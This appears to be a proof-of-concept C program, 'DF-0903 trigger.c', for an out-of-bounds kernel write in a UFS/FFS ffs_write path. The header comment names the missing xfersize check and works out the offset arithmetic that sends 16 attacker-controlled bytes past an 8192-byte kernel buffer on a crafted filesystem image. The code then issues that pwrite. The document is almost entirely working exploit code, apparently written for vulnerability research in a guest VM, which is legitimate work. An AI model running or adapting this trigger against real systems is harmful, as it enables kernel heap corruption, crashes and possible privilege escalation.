DF-0903 / trigger.c
/* * trigger.c - DF-0903 ffs_write OOB trigger (runs INSIDE the guest, as root, * against a UFS mount of the crafted image). * * Mount the crafted image at /mnt/test first, then run: * ./trigger /mnt/test/target_file * * The trigger opens (creates) the target file on the crafted UFS mount and * performs a single pwrite() at an offset chosen so that * blkoffset = offset & fs_qbmask > fs_bsize * xfersize = fs_bsize - blkoffset < 0 (signed) * which drives ffs_write() at ufs_readwrite.c:292-356 into the missing * `if (xfersize <= 0) panic` (present in ffs_read:147, absent in ffs_write) * and an OOB uiomove(bp, bp->b_data + blkoffset, (size_t)xfersize, uio). * * With the default crafted fs_qbmask=0x3FFF and fs_bsize=8192: * offset = 10000 (0x2710) * blkoffset = 10000 & 0x3FFF = 10000 (> fs_bsize=8192) * xfersize = 8192 - 10000 = -1808 (cast to size_t -> 0xFFFFFFFFFFFFF8F0) * bp->b_data + 10000 is 1808 bytes PAST the 8192-byte buffer end. * The 16-byte pwrite writes 16 attacker-controlled bytes there. * * Build: cc -o trigger trigger.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #ifndef O_CREAT #define O_CREAT 0x0002 #define O_WRONLY 0x0001 #endif int main(int argc, char **argv){ const char *path = (argc >= 2) ? argv[1] : "/mnt/test/target"; /* * Choose offset so that (offset & 0x3FFF) > fs_bsize (8192). * 10000 & 0x3FFF = 10000 (0x2710), which is > 8192. * This makes xfersize = 8192 - 10000 = -1808. */ off_t offset = 10000; size_t len = 16; /* keep the OOB write small to defeat slab-adjacent traps * on noinv; on INVARIANTS-ON GENERIC a panic is expected. */ unsigned char buf[64]; memset(buf, 0x41, sizeof(buf)); int fd = open(path, O_CREAT | O_WRONLY, 0644); if (fd < 0) { perror("open"); return 2; } printf("[trigger] opened %s fd=%d\n", path, fd); printf("[trigger] pwrite offset=%lld len=%zu\n", (long long)offset, len); printf("[trigger] crafted fs_qbmask=0x3FFF => blkoffset=offset&0x3FFF=%lld\n", (long long)(offset & 0x3fff)); printf("[trigger] expected kernel: xfersize = 8192 - %lld = %lld (NEGATIVE)\n", (long long)(offset & 0x3fff), (long long)(8192 - (offset & 0x3fff))); printf("[trigger] expected kernel: bp->b_data + %lld is %lld bytes PAST 8192B buffer\n", (long long)(offset & 0x3fff), (long long)((offset & 0x3fff) - 8192)); printf("[trigger] => OOB uiomove => expect panic (INVARIANTS) or silent heap corruption\n"); fflush(stdout); ssize_t n = pwrite(fd, buf, len, offset); if (n < 0) { perror("[trigger] pwrite"); printf("[trigger] pwrite returned -1 (errno above) -- no OOB observed\n"); } else { printf("[trigger] pwrite returned %zd bytes -- NO PANIC (silent corruption?)\n", n); } fsync(fd); close(fd); return 0; } |